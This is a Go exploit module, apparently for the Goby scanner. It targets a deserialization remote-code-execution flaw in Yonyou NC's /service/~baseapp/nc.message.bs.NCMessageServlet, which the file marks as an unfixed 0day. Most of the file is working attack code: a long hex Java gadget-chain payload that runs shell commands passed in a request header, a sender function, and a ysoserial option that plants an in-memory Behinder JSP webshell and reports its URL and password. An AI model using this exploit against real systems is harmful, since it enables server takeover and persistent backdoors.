package exploits

import (
	"encoding/base64"
	"encoding/hex"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"strings"
)

func init() {
	expJson := `{
    "Name": "Yonyou NC /service/~baseapp/nc.message.bs.NCMessageServlet Deserialization Vulnerability",
    "Description": "<p>UFIDA NC is a management software for group companies under the Chinese UFIDA Group.</p><p>UFIDA NC /service/~baseapp/nc.message.bs.NCMessageServlet  routing has RCE vulnerability caused by deserialization. Attackers can use this vulnerability to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
    "Product": "Yonyou NC",
    "Homepage": "https://www.yonyou.com/",
    "DisclosureDate": "2023-01-28",
    "Author": "su18@javaweb.org",
    "FofaQuery": "title=\"yonyou nc\"",
    "GobyQuery": "title=\"yonyou nc\"",
    "Level": "3",
    "Impact": "<p>UFIDA NC /service/~baseapp/nc.message.bs.NCMessageServlet  routing has RCE vulnerability caused by deserialization. Attackers can use this vulnerability to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
    "Recommendation": "<p>The official has not fixed the vulnerability. Please contact the manufacturer to fix the vulnerability. https://www.yonyou.com/</p>",
    "References": [
        "",
        ""
    ],
    "Is0day": true,
    "Translation": {
        "CN": {
            "Name": "用友 NC /service/~baseapp/nc.message.bs.NCMessageServlet 反序列化漏洞",
            "Product": "Yonyou NC",
            "Description": "<p>用友 NC 是中国用友集团旗下一款面向集团企业的管理软件。</p><p>用友 NC 在 /service/~baseapp/nc.message.bs.NCMessageServlet 路由上存在反序列化漏洞，攻击者可以通过发送精心构造的反序列化数据，在目标服务器上执行任意代码，执行系统命令或打入内存马，获取服务器权限。<br></p>",
            "Recommendation": "<p>1、官方暂未修复该漏洞，请用户联系厂商修复漏洞：<a href=\"https://www.yonyou.com/\" target=\"_blank\">https://www.yonyou.com/</a><br></p><p>2、通过防火墙等安全设备设置访问策略，设置白名单访问。</p><p>3、如非必要，禁止公网访问该系统。<br></p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">用友 NC 在 /service/~baseapp/nc.message.bs.NCMessageServlet 路由上</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">存在反序列化漏洞，攻击者可以通过发送精心构造的反序列化数据，在目标服务器上执行任意代码，执行系统命令或打入内存马，获取服务器权限。</span><br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "Yonyou NC /service/~baseapp/nc.message.bs.NCMessageServlet Deserialization Vulnerability",
            "Product": "Yonyou NC",
            "Description": "<p>UFIDA NC is a management software for group companies under the Chinese UFIDA Group.</p><p>UFIDA NC&nbsp;<span style=\"color: rgb(22, 28, 37); font-size: 16px;\">/service/~baseapp/nc.message.bs.NCMessageServlet&nbsp;</span> routing has RCE vulnerability caused by deserialization. Attackers can use this vulnerability to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</p>",
            "Recommendation": "<p><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">The official has not fixed the vulnerability. Please contact the manufacturer to fix the vulnerability.&nbsp;<a href=\"https://www.yonyou.com/\" target=\"_blank\">https://www.yonyou.com/</a></span><br></p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">UFIDA NC&nbsp;</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">/service/~baseapp/nc.message.bs.NCMessageServlet&nbsp;</span><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">&nbsp;routing has RCE vulnerability caused by deserialization. Attackers can use this vulnerability to execute code on the server side, write backdoors, obtain server permissions, and then control the entire web server.</span><br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "CommonsCollections6Lite",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "TFMSFromRequest",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "Yso_options",
            "type": "input",
            "value": "-mcl",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [],
    "CNNVD": [],
    "CNVD": [],
    "CVSSScore": "9.8",
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10709"
}`

	exploitNCMessageServlet9173213 := func(u *httpclient.FixUrl, payload string, cmd string, referer string) (*httpclient.HttpResponse, error) {
		cfg := httpclient.NewPostRequestConfig("/service/~baseapp/nc.message.bs.NCMessageServlet")
		cfg.FollowRedirect = false
		cfg.VerifyTls = false
		cfg.Timeout = 30
		if cmd != "" {
			cfg.Header.Store("X-Token-Data", cmd)
		}
		if referer != "" {
			cfg.Header.Store("Referer", referer)
		}
		data, _ := hex.DecodeString(payload)
		cfg.Data = string(data)
		return httpclient.DoHttpRequest(u, cfg)
	}

	echoPayload := "ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740004737531387372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000067372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E000378707672002A6F72672E6D6F7A696C6C612E6A6176617363726970742E446566696E696E67436C6173734C6F61646572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C020000787000000001757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A9902000078700000000074000E676574436F6E7374727563746F727571007E001A000000017671007E001A7371007E00137571007E0018000000017571007E00180000000074000B6E6577496E7374616E63657571007E001A000000017671007E00187371007E00137571007E00180000000274003D6F72672E6170616368652E6D6176656E2E636F72652E6C6F6F6B75702E4162737472616374436F6E66696775726174696F6E41776172654C6F6F6B7570757200025B42ACF317F8060854E0020000787000000DFBCAFEBABE0000003200D601003D6F72672F6170616368652F6D6176656E2F636F72652F6C6F6F6B75702F4162737472616374436F6E66696775726174696F6E41776172654C6F6F6B75700700010100106A6176612F6C616E672F4F626A6563740700030100063C696E69743E010003282956010004436F64650C000500060A0004000801000171010033284C6A6176612F6C616E672F537472696E673B294C6A6176612F696F2F4279746541727261794F757470757453747265616D3B01000765786563436D640C000C000B0A0002000D0100083C636C696E69743E01001E6A6176612F6C616E672F4E6F537563684669656C64457863657074696F6E07001001001F6A6176612F6C616E672F4E6F537563684D6574686F64457863657074696F6E0700120100136A6176612F6C616E672F457863657074696F6E0700140100156A6176612F6C616E672F54687265616447726F75700700160100176A6176612F6C616E672F7265666C6563742F4669656C640700180100135B4C6A6176612F6C616E672F5468726561643B07001A0100106A6176612F6C616E672F54687265616407001C0100106A6176612F6C616E672F537472696E6707001E01000E6A6176612F7574696C2F4C69737407002001001D6A6176612F696F2F4279746541727261794F757470757453747265616D07002201000D537461636B4D61705461626C6501000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0C002500260A001D002701000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B0C0029002A0A001D002B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0C002D002E0A0004002F0100077468726561647308003101000F6A6176612F6C616E672F436C6173730700330100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C003500360A0034003701000D73657441636365737369626C65010004285A29560C0039003A0A0019003B010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003D003E0A0019003F0100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B0C004100420A001D004301000465786563080045010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A0C004700480A001F00490100046874747008004B01000674617267657408004D0100126A6176612F6C616E672F52756E6E61626C6507004F01000674686973243008005101000768616E646C657208005301000D6765745375706572636C6173730C0055002E0A00340056010006676C6F62616C08005801000A70726F636573736F727308005A01000473697A650100032829490C005C005D0B0021005E0100152849294C6A6176612F6C616E672F4F626A6563743B0C003D00600B0021006101000372657108006301000B676574526573706F6E73650800650100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0C006700680A003400690100186A6176612F6C616E672F7265666C6563742F4D6574686F6407006B010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C006D006E0A006C006F01000967657448656164657208007101000C582D546F6B656E2D446174610800730100076973456D70747901000328295A0C007500760A001F00770100097365745374617475730800790100116A6176612F6C616E672F496E746567657207007B010004545950450100114C6A6176612F6C616E672F436C6173733B0C007D007E09007C007F010004284929560C000500810A007C00820C000A000B0A000200840100246F72672E6170616368652E746F6D6361742E7574696C2E6275662E427974654368756E6B080086010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B0C008800890A0034008A01000B6E6577496E7374616E636501001428294C6A6176612F6C616E672F4F626A6563743B0C008C008D0A0034008E01000873657442797465730800900100025B420700920100116765744465636C617265644D6574686F640C009400680A0034009501000B746F42797465417272617901000428295B420C009700980A0023009901000776616C75654F660100162849294C6A6176612F6C616E672F496E74656765723B0C009B009C0A007C009D010007646F577269746508009F0100136A6176612E6E696F2E427974654275666665720800A1010004777261700800A30100135B4C6A6176612F6C616E672F537472696E673B0700A50100136A6176612F696F2F496E70757453747265616D0700A70100076F732E6E616D650800A90100106A6176612F6C616E672F53797374656D0700AB01000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0C00AD00AE0A00AC00AF01000B746F4C6F776572436173650C00B100420A001F00B201000377696E0800B4010003636D640800B60100022F630800B80100092F62696E2F626173680800BA0100022D630800BC0100116A6176612F6C616E672F52756E74696D650700BE01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C00C000C10A00BF00C2010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C004500C40A00BF00C50100116A6176612F6C616E672F50726F636573730700C701000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B0C00C900CA0A00C800CB0A002300080100057772697465010007285B42494929560C00CE00CF0A002300D001000472656164010005285B4229490C00D200D30A00A800D4002100020004000000000004000100050006000100070000001100010001000000052AB70009B1000000000009000A000B000100070000001100010001000000052AB8000EB0000000000008000F0006000100070000038F00080010000002A8033BB80028B6002C4C2BB600301232B600384D2C04B6003C2C2BB60040C0001BC0001B4E03360415042DBEA202782D1504323A051905C70006A702641905B600443A0619061246B6004A9A000D1906124CB6004A9A0006A702461905B60030124EB600384D2C04B6003C2C1905B600403A071907C100509A0006A702231907B600301252B600384D2C04B6003C2C1907B600403A071907B600301254B600384DA700163A081907B60030B60057B600571254B600384D2C04B6003C2C1907B600403A071907B60030B600571259B600384DA700103A081907B600301259B600384D2C04B6003C2C1907B600403A071907B60030125BB600384D2C04B6003C2C1907B60040C00021C000213A0803360915091908B9005F0100A2017919081509B9006202003A0A190AB600301264B600384D2C04B6003C2C190AB600403A0B190BB60030126603BD0034B6006A190B03BD0004B600703A0C190BB60030127204BD00345903121F53B6006A190B04BD00045903127453B60070C0001F3A061906C601051906B600789A00FD190CB60030127A04BD00345903B2008053B6006A190C04BD00045903BB007C591100C8B7008353B60070571906B800853A0D1287B8008B3A0E190EB6008F3A07190E129106BD003459031293535904B20080535905B2008053B60096190706BD00045903190DB6009A535904BB007C5903B70083535905190DB6009ABEB8009E53B6007057190CB6003012A004BD00345903190E53B6006A190C04BD00045903190753B6007057A700513A0E12A2B8008B3A0F190F12A404BD00345903129353B60096190F04BD00045903190DB6009A53B600703A07190CB6003012A004BD00345903190F53B6006A190C04BD00045903190753B6007057043B1A990006A70009840901A7FE811A990006A7000EA700053A05840401A7FD87A700044BB10008009500A000A3001100C300D100D4001101BC023102340013002E0039029B0015003C0057029B0015005A007A029B0015007D0295029B0015000002A302A6001500010024000000950015FF002700050107001707001907001B010000FC001407001DFC001A07001F02FC002207000465070011125D0700110CFD002D07002101FF0124000E0107001707001907001B0107001D07001F070004070021010700040700040700040700230001070013FB004DFA0001F80006FA0005FF000600050107001707001907001B0100004207001501FF00050000000042070015000009000C000B00010007000000E2000400070000008C2A01A5000A2AB60078990006A70076014C12AAB800B0B600B312B5B6004A99001906BD001F590312B753590412B95359052A534CA7001606BD001F590312BB53590412BD5359052A534CB800C32BB600C6B600CC4DBB002359B700CD4E033604110400BC083A05A7000C2D1905031504B600D12C1905B600D559360402A0FFED2DB0A700083A06A7000301B000010000008200850015000100240000003C00090C02FC002705FF0012000207001F0700A60000FF001F000607001F0700A60700A807002301070093000008FF000E000107001F00004207001504000074000B646566696E65436C6173737571007E001A00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E00287371007E00137571007E00180000000071007E00227571007E001A000000007371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B0200007870000000017371007E00003F4000000000000C77080000001000000000787871007E000678"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			randStr := goutils.RandomHexString(12)
			resp, err := exploitNCMessageServlet9173213(u, echoPayload, "echo "+randStr, "")
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				resp, err := exploitNCMessageServlet9173213(expResult.HostInfo, echoPayload, cmd, "")
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)

				if serializedData == "" {
					serializedData, _, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				}

				data, _ := base64.StdEncoding.DecodeString(serializedData)
				resp, err := exploitNCMessageServlet9173213(expResult.HostInfo, hex.EncodeToString(data), "", referer)

				if err == nil && resp.StatusCode == 200 {
					cfg := httpclient.NewGetRequestConfig("/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		}))
}
